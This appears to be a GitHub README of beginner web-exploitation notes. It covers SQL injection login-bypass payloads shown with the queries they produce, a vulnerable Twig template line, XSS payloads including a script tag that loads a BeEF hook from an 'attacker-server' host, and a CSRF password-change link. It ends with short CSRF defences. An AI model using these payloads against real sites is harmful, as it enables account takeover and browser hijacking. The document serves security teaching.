WebExploitation

Most common web eploitation (OWASP Top 10)

SQL Injection

Login bypass, password compared in query

Vulnerable Normal Code

SELECT * FROM `users` WHERE `users.username` = '' AND `users.password` = ''

Lets begin Our SQL injection and see how this will change the normal code

admin' --

When this is supplied, our code becomes. Notice it will only execute upto the closing quotes on admin ('admin'). The rest of the querry is commented out. This will return true if there is a user by that name on our database as we are not checking the second part of the querry.

SELECT * FROM `users` WHERE `users.username` = 'admin' --' AND `users.password` = ''

admin' #

SELECT * FROM `users` WHERE `users.username` = 'admin' #' AND `users.password` = ''

admin'/*

SELECT * FROM `users` WHERE `users.username` = 'admin'/*' AND `users.password` = ''

' or 1=1--

SELECT * FROM `users` WHERE `users.username` = '' or 1=1--' AND `users.password` = ''

' or 1=1#

SELECT * FROM `users` WHERE `users.username` = '' or 1=1#' AND `users.password` = ''

' or 1=1/*

SELECT * FROM `users` WHERE `users.username` = '' or 1=1/*' AND `users.password` = ''

') or '1'='1--

SELECT * FROM `users` WHERE `users.username` = '') or '1'='1--' AND `users.password` = ''

') or ('1'='1--

SELECT * FROM `users` WHERE `users.username` = '') or ('1'='1--' AND `users.password` = ''

SSTI (Server Side Template Injection)

A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. An example of vulnerable code see the following one:

$output = $twig->render("Dear " . $_GET['name']);

In the previous example part of the template itself is being dynamically generated using the GET parameter name. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name parameter as follows:

http://vulnerable-website.com/?name={{bad-stuff-here}}

XSS

Cross-Site Scripting (XSS) is a type of security vulnerability that allows an attacker to inject malicious code (such as JavaScript) into a web page viewed by other users. Here are some common ways to test and exploit XSS vulnerabilities:

Manual testing: Manually testing for XSS vulnerabilities involves manually crafting XSS payloads and injecting them into various inputs of the web application, such as forms, search boxes, and URL parameters. This can be done using tools like Burp Suite or manual testing through a browser.
Automatic tools: There are a number of tools available that can automatically test for XSS vulnerabilities. These tools can scan web applications and try a variety of payloads in an attempt to find XSS vulnerabilities. Some examples of these tools include: XSStrike, XSSer and
Reflected XSS: Reflected XSS occurs when the user input is immediately reflected on the page without proper validation or sanitization. The payload is sent in the URL parameter and gets executed on the browser when the user visits the page with that parameter.
Stored XSS: Stored XSS occurs when the user input is stored in the back-end and is served to other users without proper validation or sanitization. An attacker can store a payload in a vulnerable form or comment section on the website, and when other users view the stored data, the payload gets executed.
DOM-based XSS: DOM-based XSS occurs when the JavaScript on a page dynamically modifies the DOM and a payload can be injected through a URL, which gets executed by the browser. This type of attack does not require a server-side component to be vulnerable.
Advanced payloads: Once an XSS vulnerability is identified, an attacker can use more advanced payloads like BeEF (Browser Exploitation Framework) or XSRF (Cross-Site Request Forgery) to take control of the victim's browser or steal sensitive information.

some examples of how an attacker could test for and exploit each of the XSS types I mentioned earlier:

Reflected XSS: An attacker could craft a payload such as <script>alert(1)</script> and inject it into a search box or form field on a web page. If the page reflects the input without proper validation, the payload will execute in the victim's browser, displaying an alert box.
Stored XSS: An attacker could craft a payload such as <script>alert(1)</script> and inject it into a form field or comment section on a web page. If the page stores the input without proper validation, the payload will execute in the browser of any user who views the stored data.
DOM-based XSS: An attacker could craft a payload like javascript:alert(1) and inject it into a web page through the URL parameter, for example http://example.com/page?param=javascript:alert(1), this will execute the payload directly in the browser as soon as the page is loaded.
Advanced payloads: An attacker could use a payload such as <script src="http://attacker-server/beef.js"></script> once a victim has been successfully exploited with XSS, this will allow attacker to have remote control of victim's browser.
XSRF: An attacker could craft a payload that would make a victim's browser make a request to a website with the attacker's cookies attached, allowing the attacker to perform actions on the site as if they were the victim.

An example of a Cross-Site Request Forgery (XSRF or CSRF) attack would involve an attacker crafting a malicious link or image tag and tricking a victim into clicking on it. The link or image tag would contain a request that performs an action on a vulnerable website, such as changing the victim's password or making a purchase.

Here is an example scenario of how an attacker might use XSRF to perform an action on a vulnerable website:

The attacker creates a malicious website with a link that looks something like this: <a href="http://vulnerable-site.com/change-password?password=attacker-password">Click here to win a prize!</a>
The attacker sends this link to the victim via email or social media, and tricks the victim into clicking it.
When the victim clicks the link, their browser will send a request to http://vulnerable-site.com/change-password with a parameter password=attacker-password along with the current authentication cookies of the user
The vulnerable website will process the request and change the victim's password to "attacker-password" without the victim knowing.

This kind of attack is called XSRF because it tricks the victim's browser into making a request to a website, as if the request came from the victim, even though it was actually made by the attacker. In order to prevent this kind of attack, a website should check for a CSRF token in each request, this token should be unique per session and can only be used once, making it hard for an attacker to predict or use. Additionally, double submitting cookies or having same-site cookies can also prevent XSRF attacks

It's important to keep in mind that these are just examples and actual attacks can be much more complex or sophisticated.

GeorgeWere / WebExploitation